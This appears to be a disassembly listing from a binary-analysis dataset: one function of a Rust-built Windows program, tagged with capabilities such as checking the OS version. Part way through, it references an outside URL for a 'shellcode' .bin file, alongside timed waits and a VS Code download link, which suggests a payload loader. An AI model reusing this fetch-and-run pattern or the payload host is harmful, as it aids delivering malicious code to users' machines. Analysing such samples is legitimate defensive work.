Function at 0x14004a9c0
Capabilities:
Check os version
Get number of processors

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4d8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x440], xmm6
mov qword [rbp + 0x438], 0xfffffffffffffffe
mov r12, r8
mov rsi, rdx
mov rdi, rcx
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x14004aa1e
cmp eax, 1
je 0x14004aa4b
jmp 0x14004be1e
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x14004a980]
call fcn.1400e5cb0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x14004d0b7
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x11e], 0
lea rcx, [rsi + 0x1d0]
lea rax, [rsi + 0x170]
test rdi, rdi
cmove rcx, rax
call fcn.140103720
mov ebx, eax
mov r14d, edx
cmp dword [r15 + 0x110], 0
je 0x14004aad0
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x118]
mov ecx, dword [rax + 0x114]
jmp 0x14004aae7
call fcn.140106e50
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov eax, dword [0x140196314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov dword [rax + 0x110], 1
mov dword [rax + 0x114], ebx
mov dword [rax + 0x118], r14d
cmp qword [rax + 0xd0], 0
jne 0x14004d0f8
mov eax, dword [0x140196314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rsi], r8
test rdi, rdi
je 0x14004ab5c
test r8, r8
jns 0x14004ab67
jmp 0x14004d05a
test r8, r8
js 0x14004d05a
xor eax, eax
mov r8d, dword [0x140196314]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xd8]
mov r9, qword [r10 + 0xe0]
mov qword [r10 + 0xd8], rax
mov qword [r10 + 0xe0], rsi
inc qword [r10 + 0xd0]
mov rax, qword [r10 + 0xe8]
cmp rax, 0xffffffffffffffff
je 0x14004d104
inc rax
mov r10d, dword [0x140196314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xe8], rax
mov qword [rbp + 0x380], r8
mov qword [rbp + 0x388], r9
mov qword [rbp + 0x390], rax
mov dword [rbp + 0x398], ecx
mov dword [rbp + 0x39c], edx
mov rax, qword [r12]
cmp qword [rax], 0
jne 0x14004d145
mov qword [rbp + 0x3c0], rax
mov rdi, qword [r12 + 8]
mov qword [rbp + 0x170], r12
mov r12, qword [r12 + 0x10]
lea rsi, [r12 + 8]
lea rax, [r12 + 0x28]
mov qword [rbp + 0x3b8], rax
lea rax, [r12 + 0x118]
mov qword [rbp + 0x3d0], rax
xorps xmm6, xmm6
lea r15, [rbp + 0x50]
mov qword [rbp + 0x3c8], rdi
nop word cs:[rax + rax]
xor eax, eax
xchg qword [rdi + 0x20], rax
test rax, rax
jne 0x14004bcc4
mov qword [rbp + 0x178], 2
mov rax, qword [rdi]
shr rax, 2
lea rdx, [rbp + 0x408]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rbp + 0x3e0], rdi
mov qword [rbp + 0x3e8], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x1e1]
mov ecx, dword [rbp + 0x1e4]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
jne 0x14004bcb1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
lock inc qword [rax]
jle 0x14004d05a
add rax, 0x10
lea rcx, fcn.1400f60d0
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rax
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 0
jmp 0x14004ad4d
cmp rax, 2
jne 0x14004cfee
xor eax, eax
xchg qword [r14 + 0x10], rax
mov al, 1
lock cmpxchg byte [rbx], r13b
jne 0x14004b153
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x120]
cmp r13d, 2
je 0x14004ae90
cmp r13d, 1
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1e8]
je 0x14004ae59
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x14004d294
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [0x140126690]
mov rdi, qword [rcx + 0x70]
mov rax, 0xffffffffffffffff
cmp rdi, qword [rcx + 0x60]
jne 0x14004ae06
call fcn.1400e5ee0
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x140196314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rdi
shl r8, 4
lea r9, [rcx + 0xd0]
mov qword [rdx + r8], r9
lea r9, [0x14004a980]
mov qword [rdx + r8 + 8], r9
inc rdi
mov qword [rcx + 0x70], rdi
inc rax
mov qword [rcx + 0x58], rax
mov byte [rcx + 0x120], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x3d8], cl
mov word [rax + 0x11c], 0x8001
jmp 0x14004ae9e
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x3e0]
call fcn.1400f4de0
test al, al
je 0x14004af30
movzx eax, byte [r12 + 0x148]
test eax, eax
je 0x14004af50
cmp eax, 3
jne 0x14004cfa7
movzx eax, byte [r12 + 0x140]
test eax, eax
je 0x14004b7f0
cmp eax, 3
jne 0x14004d04e
nop dword [rax]
cmp dword [rsi], 2
jne 0x14004b9f1
mov rax, qword [r12 + 0x10]
mov qword [r12 + 0x10], 0
test rax, rax
je 0x14004cf77
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x14004b180
xor edi, edi
cmp r13b, 2
jne 0x14004ba2a
jmp 0x14004baa2
lea rdi, [0x14014eae0]
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400ef780
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14004cfb3
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r15
lea rax, [0x14000c020]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400ef780
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400ef780
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400ef780
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004b143
mov rbx, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004b13a
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x14004b7e0
jmp 0x14004b143
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x14004b7e0
mov rcx, rbx
call fcn.14011e5c0
jmp 0x14004ad4d
mov rcx, rbx
call fcn.14011e270
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
je 0x14004bb28
jmp 0x14004ad30
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r15
call fcn.140118560
cmp dword [rsi], 2
jne 0x14004b230
mov rbx, qword [r12 + 0x10]
test rbx, rbx
je 0x14004b5a6
mov r14, qword [rbx + 0x58]
test r14, r14
je 0x14004b1e7
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x14004b1c3
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x14004b1e7
cmp qword [rdi + 0x10], 0x11
jb 0x14004b1d5
mov r14, qword [r14 - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004b590
test rax, rax
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14004b597
mov r8, qword [rbx + 8]
mov rcx, qword [0x140196260]
xor edx, edx
call r14
jmp 0x14004b597
cmp byte [r12 + 0x100], 0xa
jb 0x14004b25a
cmp qword [r12 + 0x110], 0
je 0x14004b25a
mov r8, qword [r12 + 0x108]
mov rcx, qword [0x140196260]
xor edx, edx
call r14
cmp qword [r12 + 0x90], 0
je 0x14004b279
mov r8, qword [r12 + 0x98]
mov rcx, qword [0x140196260]
xor edx, edx
call r14
cmp qword [r12 + 0x80], 0
je 0x14004b295
mov r8, qword [r12 + 0x78]
mov rcx, qword [0x140196260]
xor edx, edx
call r14
mov rdi, qword [r12 + 0x58]
test rdi, rdi
je 0x14004b2f0
mov rbx, qword [r12 + 0x50]
add rbx, 0x30
jmp 0x14004b2cb
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x14004b2f0
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14004b2b0
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14004b2b0
cmp qword [r12 + 0x48], 0
je 0x14004b309
mov r8, qword [r12 + 0x50]
mov rcx, qword [0x140196260]
xor edx, edx
call r14
mov rdi, qword [r12 + 0x70]
test rdi, rdi
je 0x14004b33b
mov rbx, qword [r12 + 0x68]
add rbx, 0x38
nop dword [rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x14004b320
cmp qword [r12 + 0x60], 0
je 0x14004b354
mov r8, qword [r12 + 0x68]
mov rcx, qword [0x140196260]
xor edx, edx
call r14
cmp qword [rsi], 0
je 0x14004b378
mov rax, qword [r12 + 0x10]
test rax, rax
je 0x14004b378
mov rdx, qword [r12 + 0x18]
mov r8, qword [r12 + 0x20]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x10]
mov rdi, qword [r12 + 0xf8]
test rdi, rdi
je 0x14004b3d0
mov rbx, qword [r12 + 0xf0]
add rbx, 8
jmp 0x14004b3a9
add rbx, 0x58
dec rdi
je 0x14004b3d0
cmp qword [rbx - 8], 0
je 0x14004b3a0
mov r8, qword [rbx]
mov rcx, qword [0x140196260]
xor edx, edx
call r14
jmp 0x14004b3a0
cmp qword [r12 + 0xe8], 0
je 0x14004b3ef
mov r8, qword [r12 + 0xf0]
mov rcx, qword [0x140196260]
xor edx, edx
call r14
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14004b40b
mov rcx, qword [rbp + 0x3d0]
call fcn.140040010
mov rbx, qword [r12 + 0x120]
mov rdi, qword [r12 + 0x128]
mov rax, qword [rdi]
test rax, rax
je 0x14004b428
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14004b449
cmp qword [rdi + 0x10], 0x11
jb 0x14004b43a
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rbx
call r14
mov rbx, qword [r12 + 0x138]
test rbx, rbx
je 0x14004b5a6
cmp qword [rbx], 0
mov r15, qword [rbx + 8]
mov eax, 0x118
mov ecx, 0xb8
cmove rax, rcx
cmp dword [r15 + rax + 0xa8], 0x3b9aca00
je 0x14004cf8f
lea r14, [rbx + 8]
add r15, rax
lea rdi, [rbx + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x58], cl
jne 0x14004b539
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14004b4b3
lea rcx, [r15 + 0x60]
mov rdx, rdi
call fcn.1400ff5b0
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14004b510
mov byte [rbx + 0x60], 0
mov qword [rbx + 0x40], 0xffffffffffffffff
mov rax, qword [rbx + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbx + 0x58], rcx
jne 0x14004b4d0
test rax, rax
jne 0x14004b510
mov rax, qword [rbx + 0x48]
mov rcx, qword [rbx + 0x50]
mov qword [rbx + 0x48], 0
lock and qword [rbx + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x14004b510
call qword [rax + 0x18]
nop word cs:[rax + rax]
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r15 + 0x58], cl
jne 0x14004b555
cmp qword [rbx], 0
je 0x14004b567
mov rax, qword [r14]
lock dec qword [rax]
lea r15, [rbp + 0x50]
jne 0x14004b580
mov rcx, r14
call fcn.14003fb60
jmp 0x14004b580
lea rcx, [r15 + 0x58]
call fcn.14011e270
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14004b4a7
jmp 0x14004b4b3
add r15, 0x58
mov rcx, r15
call fcn.14011e5c0
cmp qword [rbx], 0
jne 0x14004b522
mov rax, qword [r14]
lock dec qword [rax]
lea r15, [rbp + 0x50]
jne 0x14004b580
mov rcx, r14
call fcn.14003e480
nop dword [rax]
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x14004b590
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rbx
call r14
cmp dword [rbp - 0x48], 3
jne 0x14004b660
lea rax, [0x14014eae0]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400ef780
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004b94d
mov rbx, rax
mov qword [rbp + 0x50], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004b944
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x14004b958
jmp 0x14004b94d
lea rax, [0x14014eae0]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400ef780
lea rcx, [rbp - 0x48]
call fcn.140048de0
mov rax, qword [r12]
lock dec qword [rax]
lea rdi, [rbp + 0x1e8]
jne 0x14004b6a9
mov rcx, r12
call fcn.140040010
mov byte [r12 + 0x140], 1
lea rbx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240715102708757.bin
mov rcx, rbx
lea rdx, [0x14014eb7b]
call fcn.14004dbc0
mov r8d, 0xb
mov rcx, rdi
mov rdx, rbx
call fcn.1400ea600
mov rbx, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x14004b7e0
mov rdi, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x14004bb53
lea rcx, [rbp - 0x48]
mov rdx, rdi
call fcn.1400036c0
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x14004b812
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004bc1c
mov r14, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004bc13
mov rcx, r14
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov r15, rdi
mov edi, eax
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
mov rdi, r15
lea r15, [rbp + 0x50]
je 0x14004bc1c
test rbx, rbx
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14004b7e0
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, rdi
call r14
nop word cs:[rax + rax]
mov byte [r12 + 0x140], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400c1060
mov rcx, rbx
call fcn.1400bbec0
test rax, rax
jne 0x14004cf1a
mov qword [r12], rdx
jmp 0x14004b96c
mov qword [rbp + 0x3b0], rdi
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003c30
call fcn.140001830
mov r14, rax
and eax, 3
cmp eax, 1
jne 0x14004b890
mov r15, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14004b853
mov rcx, r15
call rax
cmp qword [rdi + 8], 0
je 0x14004b877
cmp qword [rdi + 0x10], 0x11
jb 0x14004b865
mov r15, qword [r15 - 8]
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
dec r14
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r15, [rbp + 0x50]
lea rcx, [rbp + 0x1e8]
call fcn.140001c00
cmp qword [rbp + 0x1e8], 0
je 0x14004b8b8
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14004b8b8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e6ba0
call fcn.140004cf0
lea rax, [0x14014eae0]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
lea rcx, [rbp + 0x1e8]
call fcn.1400ef780
mov rcx, r15
call fcn.140001610
mov dil, 1
test rbx, rbx
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14004bbfa
mov rcx, qword [0x140196260]
xor edx, edx
mov r8, qword [rbp + 0x3b0]
call rax
mov al, 1
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14004baa2
jmp 0x14004ba2a
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp - 0x48]
call fcn.140048de0
mov rdx, qword [r12]
lea rbx, [rbp + 0x1e8]
mov rcx, r15
lea r8, str.https:__code.visualstudio.com_download
call fcn.14004e320
cmp dword [rbp + 0x50], 2
jne 0x14004b9b0
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rdi]
je 0x14004b9cb
jmp 0x14004b9d7
mov rdi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1400be360
lock dec qword [rdi]
jne 0x14004b9d7
lea rcx, [rbp + 0x160]
call fcn.1400822a0
mov r8d, 0x138
mov rcx, rsi
mov rdx, rbx
call fcn.140118560
cmp dword [rsi], 2
je 0x14004aef9
mov rcx, r15
mov rdx, rsi
lea r8, [rbp + 0x1c0]
call fcn.1400c1470
cmp qword [rbp + 0x50], 4
jne 0x14004b180
mov byte [r12 + 0x140], 3
mov al, 3
mov dil, 2
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14004baa2
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004baa2
cmp eax, 1
je 0x14004ba7b
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400ffb50]
call fcn.1400e5cb0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
movzx ecx, byte [rbp + 0x3d8]
mov byte [rax + 0x11d], cl
cmp dil, 2
jne 0x14004bc50
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
mov r13d, 0
jne 0x14004bbe7
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xc8]
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r13
je 0x14004ad4d
lea rbx, [r14 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14 + 0x20], cl
jne 0x14004b160
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
jne 0x14004ad30
lea rdi, [r14 + 0x18]
nop dword [rax]
mov rcx, rdi
mov rdx, rbx
mov r9d, 0x3b9aca00
call fcn.140054030
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r13
jne 0x14004bb30
jmp 0x14004ad40
test r8, r8
je 0x14004b70e
lea rax, [rdi + r8]
mov rdx, rdi
jmp 0x14004bb7c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
mov rdx, rcx
cmp rcx, rax
je 0x14004b70e
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14004bb70
cmp r9b, 0xe0
jb 0x14004bb65
cmp r9b, 0xed
jne 0x14004bbbe
cmp rcx, rax
je 0x14004b70e
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14004b70e
cmp byte [rdx + 1], 0x9f
ja 0x14004bc3c
add rdx, 3
mov rcx, rdx
jmp 0x14004bb70
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14004bb70
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14004bb70
test rax, rax
jne 0x14004cf4c
call fcn.140124c60
jmp 0x14004bad6
mov al, 1
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x14004baa2
jmp 0x14004ba2a
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test rbx, rbx
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jne 0x14004b7c2
jmp 0x14004b7e0
test rbx, rbx
jne 0x14004b7c2
jmp 0x14004b7e0
mov rax, qword [rbp + 0x3a0]
mov rcx, qword [rbp + 0x3a8]
call qword [rax + 0x18]
lea rcx, [rbp + 0x3e0]
call fcn.1400f52b0
mov rax, qword [rbp + 0x400]
test dil, dil
mov rdi, qword [rbp + 0x3c8]
jne 0x14004be49
test rax, rax
je 0x14004bc93
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x14004ac50
lea rcx, [rbp + 0x178]
call fcn.14004d360
jmp 0x14004ac50
test rax, rax
jne 0x14004d08c
call fcn.140124c60
jmp 0x14004accf
mov rcx, qword [rbp + 0x3c0]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x14004d05a
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x198]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1a8], 8
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], rdi
mov qword [rbp + 0x420], rdi
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x190]
movups xmm1, xmmword [rbp + 0x198]
movaps xmmword [rbp + 0x400], xmm1
mov qword [rbp + 0x3f0], rdx
mov qword [rbp + 0x3f8], r8
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], rcx
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x410], rax
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x3e0], 0
mov rax, qword [rbp + 0x170]
jne 0x14004d1c1
cmp qword [rbp + 0x3f0], 0
jne 0x14004d1ff
mov r14, qword [rax + 0x10]
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14004d20b
mov qword [rbp + 0x3f0], 0
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x14004be76
cmp eax, 1
lea rsi, [0x14014eae0]
je 0x14004beaa
mov rcx, rbx
call fcn.14004d9d0
lea rax, [0x14015fd28]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_d9284afea99e0969a0e692b9e9fd61ea4ba21366library_std_src_threadlocal.rs
lea r9, [0x14015fc58]
lea r8, [rbp + 0x430]
mov edx, 0x46
call fcn.140119760
test rax, rax
je 0x14004be58
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x14004ce9c
lea rcx, [rbp + 0x178]
call fcn.14004d360
jmp 0x14004ce9c
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14004a980]
call fcn.1400e5cb0
mov byte [rsi + 0x120], 1
lea rsi, [0x14014eae0]
mov eax, dword [0x140196314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rbp + 0x3c8], rcx
lea rcx, [rbp + 0x3e0]
mov qword [rax + 0x108], rcx
mov rax, qword [rbp + 0x3e8]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x1401610e8]
mov qword [rbp + 0x3a0], rdx
mov qword [rbp + 0x3a8], rcx
lea rcx, [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], rcx
mov qword [rbp + 0x1d0], 0
lea rcx, [r14 + 0x140]
mov qword [rbp + 0x3d8], rcx
